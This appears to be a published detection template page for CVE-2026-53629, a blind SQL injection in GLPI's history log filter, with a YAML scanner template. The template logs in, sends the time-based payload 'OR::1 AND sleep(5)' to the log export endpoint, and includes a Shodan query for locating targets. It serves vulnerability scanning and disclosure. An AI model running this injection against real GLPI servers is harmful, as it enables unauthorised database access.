GLPI - Blind SQL Injection in History Log Filter (LogBleed)
CVE-2026-53629
Early Release
Description
GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
Severity
High
CVSS Score
8.8
Published Date
August 9, 2026
Template Author
boreas37
CVE-2026-53629.yaml
id: CVE-2026-53629
info:
name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
author: Boreas37
severity: high
description: |
GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
reference:
- https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-53629
cwe-id: CWE-89
metadata:
max-request: 4
verified: true
shodan-query: title:"Authentication - GLPI"
tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'id="login_name"'
- '_glpi_csrf_token'
condition: and
internal: true
extractors:
- type: regex
name: uname
part: body
internal: true
group: 1
regex:
- 'id="login_name" name="([^"]+)"'
- type: regex
name: pwd
part: body
internal: true
group: 1
regex:
- 'id="login_password" name="([^"]+)"'
- type: regex
name: token
part: body
internal: true
group: 1
regex:
- '_glpi_csrf_token" value="([a-f0-9]+)"'
- raw:
- |
POST /front/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login
redirects: true
max-redirects: 3
matchers:
- type: word
part: body
words:
- "logout.php"
internal: true
- raw:
- |
GET /front/user.form.php?id=2 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
internal: true
- raw:
- |
@timeout: 30s
GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "duration >= 5"
condition: and
- type: word
part: body
words:
- "ID;Date;User;Field;Update"
# digest: 4a0a0047304502206817a6b65217ed6b0bde9aa2f7ec273962188d9cdb38a3bc73f42f96b6ddfe73022100b7c17e628005fea8c50cc29a670ce9113ef5a62d44f6fb37fd03184664b5aab1:922c64590222798bb761d5b6d8e729508.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-53629
CWE ID:
cwe-89